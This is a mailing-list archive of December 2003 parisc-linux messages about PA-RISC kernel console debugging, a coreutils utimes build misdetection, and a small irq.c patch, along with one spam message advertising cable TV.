Lines: 11
Approved: news@gmane.org
Message-ID: <1072631164.1784.6.camel@mulgrave>
References: <20031222213542.E2B3F4942A8@palinux.hppa>
	<1072625725.1785.0.camel@mulgrave> <200312281801.41466.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623092 3863 80.91.229.3 (22 Nov 2014 02:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:52 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: James.Bottomley@SteelEye.com  Sun Dec 28 10:06:09 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 895BE488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Dec 2003 10:06:09 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBSH65a18895; Sun, 28 Dec 2003 12:06:05 -0500
In-Reply-To: <200312281801.41466.deller@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Dec 2003 17:06:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20517

On Sun, 2003-12-28 at 11:01, Helge Deller wrote:
> Please update again. I reverted that change some minutes after my 
> first commit.

Ah, OK, you forgot to rev the -paX number...your reversion is in the new
-pa6 that just came out.

James




From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable
	to open an initial console."
Date: Sun, 28 Dec 2003 18:02:01 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <3FEF1A99.4010307@tiscali.be>
References: <3FEDF301.5030901@tiscali.be> <200312280019.55830.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623092 3865 80.91.229.3 (22 Nov 2014 02:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: soete.joel@tiscali.be  Sun Dec 28 11:00:59 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5A8048AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Dec 2003 11:00:58 -0700 (MST)
Original-Received: from [62.235.120.170] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AafDl-0003mg-DZ; Sun, 28 Dec 2003 19:00:57 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <200312280019.55830.deller@gmx.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Dec 2003 18:00:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20518

Helge Deller wrote:
> On Saturday 27 December 2003 22:00, Joel Soete wrote:
> 
>>I try to see if pdc_console could be operational on my c110 with kernel 2.6.0-pa5.
>>
>>So I uncheck serial_mux and check pdc_console with make menuconfig (edit also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
>>Then I create the special file "mknod /dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab
>>
>>(I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)
>>
>>But no way to make it works?
>>
>>Linux version 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease) 3FP[0] enabled: Rev 1 Model 11 
>>                               The 32-bit Kernel has started...
>>Initialized PDC Console for debugging.
>>Determining PDC firmware type: System Map.
>>model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
>>CPUID vers 11 rev 13 (0x0000016d)
>>model 9000/777/C110
>>Total Memory: 128 Mb
>>[snip]
>>Soft power switch enabled, polling @ 0xf0140000.
>>Console: switching to colour frame buffer device 128x48
>>pty: 256 Unix98 ptys configured
>>lp: driver loaded but no devices found
>>Generic RTC Driver v1.07
>>Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
>>ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
>>ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
> 
> 
> Your machine has standard serial ports. So why do you want to
> switch on serial_mux stuff when it's not needed (and not possible
> since the device is not present in your machine) ?
> 
> Helge
> 
Helge,

Sorry I don't understand: where do you read that I switch on serial mux?

My goal is to test pdc_console mainly for EARLY_BOOTUP_DEBUG facility (for later b2k 64bit kernel pb).
Also afaik otc I have to switch off serial mux (well i say uncheck):
drivers/serial/Kconfig
[snip]
config PDC_CONSOLE
         bool "PDC software console support"
         depends on PARISC && !SERIAL_MUX && VT
         default n
[snip]?

Thanks in advance for more info,
	Joel



From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable to
	open an initial console."
Date: Sun, 28 Dec 2003 21:00:40 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <200312282100.40814.deller@gmx.de>
References: <3FEDF301.5030901@tiscali.be> <200312280019.55830.deller@gmx.de>
	<3FEF1A99.4010307@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623093 3867 80.91.229.3 (22 Nov 2014 02:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Dec 28 13:00:46 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 32FA5489D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Dec 2003 13:00:46 -0700 (MST)
Original-Received: (qmail 22748 invoked by uid 65534); 28 Dec 2003 20:00:44 -0000
Original-Received: from pD90403DE.dip.t-dialin.net (EHLO datime) (217.4.3.222)
	by mail.gmx.net (mp005) with SMTP; 28 Dec 2003 21:00:44 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <3FEF1A99.4010307@tiscali.be>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Dec 2003 20:00:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20519

On Sunday 28 December 2003 19:02, Joel Soete wrote:
> My goal is to test pdc_console mainly for EARLY_BOOTUP_DEBUG facility (for later b2k 64bit kernel pb).
> Also afaik otc I have to switch off serial mux (well i say uncheck):
> drivers/serial/Kconfig
> [snip]
> config PDC_CONSOLE
>          bool "PDC software console support"
>          depends on PARISC && !SERIAL_MUX && VT
>          default n
> [snip]?

To debug such problems I often just turn on EARLY_BOOTUP_DEBUG 
in arch/parisc/kernel/pdc_cons.c, line 15:

/* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems.
 * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
#define EARLY_BOOTUP_DEBUG

HTH,
Helge


From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian hppa touch fails to set atime and mtime
	(5.0.91-2)
Date: Sun, 28 Dec 2003 20:58:00 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <20031229015759.GF27911__10733.4896260456$1416623093$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623093 3869 80.91.229.3 (22 Nov 2014 02:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 219458@bugs.debian.org, Jeff Bailey <jbailey@nisa.net>
Original-X-From: carlos@baldric.uwo.ca  Sun Dec 28 19:06:08 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C336048AD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Dec 2003 19:06:07 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AamfQ-0000u8-00; Sun, 28 Dec 2003 20:58:00 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Dec 2003 02:06:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20520


219458,

hppa does not support utimes, it supports utime. During the last
coreutils build it seems that configure was confused and thought hppa
*had* utimes, but it does not.

http://buildd.debian.org/fetch.php?&pkg=coreutils&ver=5.0.91-2&arch=hppa&stamp=1065315205&file=log&as=raw

--- checkdd.log 2003-12-28 20:45:43.000000000 -0500
+++ check.log   2003-12-28 20:44:08.000000000 -0500
@@ -7,8 +7,7 @@
 checking host system type... hppa-unknown-linux-gnu
 checking for a BSD-compatible install... /usr/bin/install -c
 checking whether build environment is sane... yes
-checking for gawk... no
-checking for mawk... mawk
+checking for gawk... gawk
 checking whether make sets $(MAKE)... yes
 checking for perl5.003 or newer... yes
 checking for hppa-linux-gcc... hppa-linux-gcc
@@ -163,7 +162,7 @@
 checking for library containing opendir... none required
 checking for struct stat.st_blocks... yes
 checking whether stat file-mode macros are broken... no
-checking for nanoseconds member of struct stat.st_mtim... no
+checking for nanoseconds member of struct stat.st_mtim... tv_nsec
 checking for st_dm_mode in struct stat... no
 checking for uid_t in sys/types.h... yes
 checking type of array argument to getgroups... gid_t
@@ -452,9 +451,9 @@
 checking for strcasecmp... yes
 checking for strncasecmp... yes
 checking for struct timespec... yes
-checking for nanoseconds member of struct stat.st_mtim... (cached) no
+checking for nanoseconds member of struct stat.st_mtim... (cached)
tv_nsec
 checking whether nanosleep is declared... (cached) yes
-checking determine whether the utimes function works... yes
+checking determine whether the utimes function works... no
 checking for stdlib.h... (cached) yes
 checking for GNU libc compatible malloc... yes
 checking for stdlib.h... (cached) yes

My local system detects gawk, finds a nanosecond member for stat, but
notices that utimes does *not* work under hppa, and instead uses utime.
The reason for the erroneous detection can only be confirmed by looking
at the config.log.

I tested a coreutils rebuild and it works fine.

Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3.2/specs
Configured with: ../src/configure -v
--enable-languages=c,c++,f77,pascal,objc,ada,treelang --prefix=/usr
--mandir=/usr/share/man --infodir=/usr/share/info
--with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared
--with-system-zlib --enable-nls --without-included-gettext
--enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu
--enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3.2 (Debian)

GNU ld version 2.14.90.0.7 20031029 Debian GNU/Linux

Linux firin 2.4.23-pa2 #5 Mon Dec 8 20:44:10 EST 2003 parisc64 GNU/Linux

I suggest moving this to coreutils and have them rebuild?

Cheers,
Carlos.



From - Thu Nov 08 21:30:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Lindsey" <tkuufcmaqx@india.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GXAYC, i only regret
Date: Mon, 29 Dec 2003 10:57:12 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <YVDMZIL-0004990485100@aegis>
Reply-To: James Lindsey <tkuufcmaqx@india.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--WMNG50655308126284
X-Trace: ger.gmane.org 1416623093 3873 80.91.229.3 (22 Nov 2014 02:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: tkuufcmaqx@india.com  Mon Dec 29 22:59:37 2003
Return-Path: <tkuufcmaqx@india.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7C6A4843
	for <parisc-linux@parisc-linux.org>;
	Mon, 29 Dec 2003 22:59:37 -0700 (MST)
Original-Received: from 24-90-71-158.nyc.rr.com (24-90-71-158.nyc.rr.com [24.90.71.158])
	by cuprel1.hp.com (Postfix) with SMTP id 0BD281572
	for <parisc-linux@parisc-linux.org>;
	Mon, 29 Dec 2003 21:59:37 -0800 (PST)
Original-Received: from [24.90.71.158] by e-hostzz.netIP with HTTP;
	Mon, 29 Dec 2003 21:56:12 +0400
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [e-hostzz.netIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Dec 2003 05:59:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20521

----ALT--WMNG50655308126284
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

cane oral via brest mundane seethe destroy slope 
debug peachtree spectrogram danish asymmetry belies coagulable 
sidelong toroid manifest mayoral arbiter 

----ALT--WMNG50655308126284
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit


<HTML><HEAD>
<BODY>
<p>Fr</booty>ee Ca</barfly>ble* TV</p>
<a href="http://www.e-hostzz.net/cable/">
<img border="0" src="http://www.e-hostzz.net/fiter.jpg"></a>
vertical hemingway univac rebuttal montague delphine fifteen south conspire lookup can't angela injun deprecate clean dionysus cranny escherichia vella incapacitate bucknell stair bodleian eloise holt freshwater rouse cormorant fugal crowfoot faze trillionth ramada paunchy crawl elegant <BR>
hedonist commit conglomerate tube stipulate councilman stewardess harmonica carol homebuilding asynchronous anheuser reconnaissance galatea girlish veil comic luminescent bindweed allergy bladdernut central lopsided alpine goat pitman decontrolling denature sternberg po leprosy chen pollux pipe boron agreeing contributory toss appointe <BR>

</BODY>
</HTML>


----ALT--WMNG50655308126284
--


From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix for uninitialised variable in new seq_file code
	for arch/parisc/ikernel/rq.c
Date: 30 Dec 2003 14:14:59 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <1072815300.2839.30.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623094 3874 80.91.229.3 (22 Nov 2014 02:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:54 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: corbet@lwn.net, Andrew Morton <akpm@osdl.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Dec 30 13:15:07 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 672004840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Dec 2003 13:15:07 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBUKF0a23497; Tue, 30 Dec 2003 15:15:01 -0500
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Dec 2003 20:15:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20522

The compiler justly complains in this:

        unsigned int regnr = *(loff_t *) v, i;

        if (regnr == 0) {
                seq_puts(p, "     ");
#ifdef CONFIG_SMP
                for (i = 0; i < NR_CPUS; i++)
#endif
                        seq_printf(p, "      CPU%02d ", i);


That i is uninitialised if CONFIG_SMP is not set.

James

===== irq.c 1.20 vs edited =====
--- 1.20/arch/parisc/kernel/irq.c	Mon Dec 29 15:37:39 2003
+++ edited/irq.c	Tue Dec 30 14:12:43 2003
@@ -215,7 +215,7 @@
 int show_interrupts(struct seq_file *p, void *v)
 {
 #ifdef CONFIG_PROC_FS
-	unsigned int regnr = *(loff_t *) v, i;
+	unsigned int regnr = *(loff_t *) v, i = 0;
 
 	if (regnr == 0) {
 		seq_puts(p, "     ");



From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fix for uninitialised variable in new seq_file
 code for arch/parisc/ikernel/rq.c
Date: Tue, 30 Dec 2003 13:42:16 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20031230134216.2011c0c1.akpm@osdl.org>
References: <1072815300.2839.30.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623094 3877 80.91.229.3 (22 Nov 2014 02:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, corbet@lwn.net
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: akpm@osdl.org  Tue Dec 30 14:41:58 2003
Return-Path: <akpm@osdl.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.osdl.org (fw.osdl.org [65.172.181.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE8E14840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Dec 2003 14:41:57 -0700 (MST)
Original-Received: from mnm (build.pdx.osdl.net [172.20.1.2])
	by mail.osdl.org (8.11.6/8.11.6) with ESMTP id hBULfrM12481;
	Tue, 30 Dec 2003 13:41:54 -0800
In-Reply-To: <1072815300.2839.30.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Dec 2003 21:41:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20523

James Bottomley <James.Bottomley@SteelEye.com> wrote:
>
> --- 1.20/arch/parisc/kernel/irq.c	Mon Dec 29 15:37:39 2003
> +++ edited/irq.c	Tue Dec 30 14:12:43 2003
> @@ -215,7 +215,7 @@
>  int show_interrupts(struct seq_file *p, void *v)
>  {
>  #ifdef CONFIG_PROC_FS
> -	unsigned int regnr = *(loff_t *) v, i;
> +	unsigned int regnr = *(loff_t *) v, i = 0;
>  
>  	if (regnr == 0) {
>  		seq_puts(p, "     ");

Thanks, I'll add that to today's batch.


From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LD_PROFILE?
Date: Tue, 30 Dec 2003 18:42:37 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20031230234237.GM27911@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623094 3882 80.91.229.3 (22 Nov 2014 02:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>
Original-X-From: carlos@baldric.uwo.ca  Tue Dec 30 16:50:31 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E63148A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Dec 2003 16:50:31 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AbTVV-0006HV-00; Tue, 30 Dec 2003 18:42:37 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Dec 2003 23:50:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20524


Did this work before? :)

firin:/# LD_PROFILE=libc.so.6 ls
Segmentation fault

c.



From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LD_PROFILE?
Date: Wed, 31 Dec 2003 00:08:38 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <3FF21386.2060008@tiscali.be>
References: <20031230234237.GM27911@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623094 3886 80.91.229.3 (22 Nov 2014 02:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:54 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	parisc-linux@lists.parisc-linux.org, Randolph Chung <tausq@debian.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Dec 30 17:07:31 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1942348A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Dec 2003 17:07:31 -0700 (MST)
Original-Received: from [62.235.120.89] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
